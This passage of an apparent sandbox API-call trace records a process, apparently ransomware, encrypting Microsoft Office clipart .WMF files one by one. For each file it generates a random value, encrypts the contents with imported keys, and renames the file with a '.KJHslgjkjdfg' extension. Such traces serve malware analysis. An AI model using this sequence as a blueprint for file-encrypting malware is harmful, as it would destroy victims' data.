dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.709] GetProcessHeap () returned 0x990000 [0207.709] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.709] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.741] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.741] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.741] GetProcessHeap () returned 0x990000 [0207.741] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.741] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.741] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.741] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.741] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.741] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.742] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.742] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.742] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x608, lpOverlapped=0x0) returned 1 [0207.742] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610, dwBufLen=0x610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x610) returned 1 [0207.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.742] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x610, lpOverlapped=0x0) returned 1 [0207.742] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.742] SetEndOfFile (hFile=0x130) returned 1 [0207.745] GetProcessHeap () returned 0x990000 [0207.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.745] GetProcessHeap () returned 0x990000 [0207.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.kjhslgjkjdfg")) returned 1 [0207.747] CloseHandle (hObject=0x130) returned 1 [0207.747] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0207.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.749] GetProcessHeap () returned 0x990000 [0207.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.749] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.751] GetProcessHeap () returned 0x990000 [0207.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.751] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.751] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.752] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.752] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.752] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x634, lpOverlapped=0x0) returned 1 [0207.752] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640, dwBufLen=0x640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x640) returned 1 [0207.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.752] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x640, lpOverlapped=0x0) returned 1 [0207.752] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.752] SetEndOfFile (hFile=0x130) returned 1 [0207.754] GetProcessHeap () returned 0x990000 [0207.754] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.754] GetProcessHeap () returned 0x990000 [0207.754] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.kjhslgjkjdfg")) returned 1 [0207.755] CloseHandle (hObject=0x130) returned 1 [0207.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0207.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.757] GetProcessHeap () returned 0x990000 [0207.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.757] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.757] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0207.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.759] GetProcessHeap () returned 0x990000 [0207.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.759] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.759] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.759] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.760] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.760] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.760] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.760] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.760] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.760] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7fce, lpOverlapped=0x0) returned 1 [0207.761] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7fd0, dwBufLen=0x7fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7fd0) returned 1 [0207.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.762] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7fd0, lpOverlapped=0x0) returned 1 [0207.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x80a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.762] SetEndOfFile (hFile=0x130) returned 1 [0207.765] GetProcessHeap () returned 0x990000 [0207.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.765] GetProcessHeap () returned 0x990000 [0207.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.kjhslgjkjdfg")) returned 1 [0207.767] CloseHandle (hObject=0x130) returned 1 [0207.767] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0207.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.768] GetProcessHeap () returned 0x990000 [0207.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.768] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.770] GetProcessHeap () returned 0x990000 [0207.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.770] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.770] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.770] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.770] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x121c, lpOverlapped=0x0) returned 1 [0207.771] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220, dwBufLen=0x1220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220) returned 1 [0207.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.771] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1220, lpOverlapped=0x0) returned 1 [0207.772] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.772] SetEndOfFile (hFile=0x130) returned 1 [0207.773] GetProcessHeap () returned 0x990000 [0207.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.773] GetProcessHeap () returned 0x990000 [0207.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.kjhslgjkjdfg")) returned 1 [0207.775] CloseHandle (hObject=0x130) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0207.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.776] GetProcessHeap () returned 0x990000 [0207.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.776] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.778] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.778] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.778] GetProcessHeap () returned 0x990000 [0207.778] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.778] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.778] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.778] WriteFile (in: hFile=0x130, 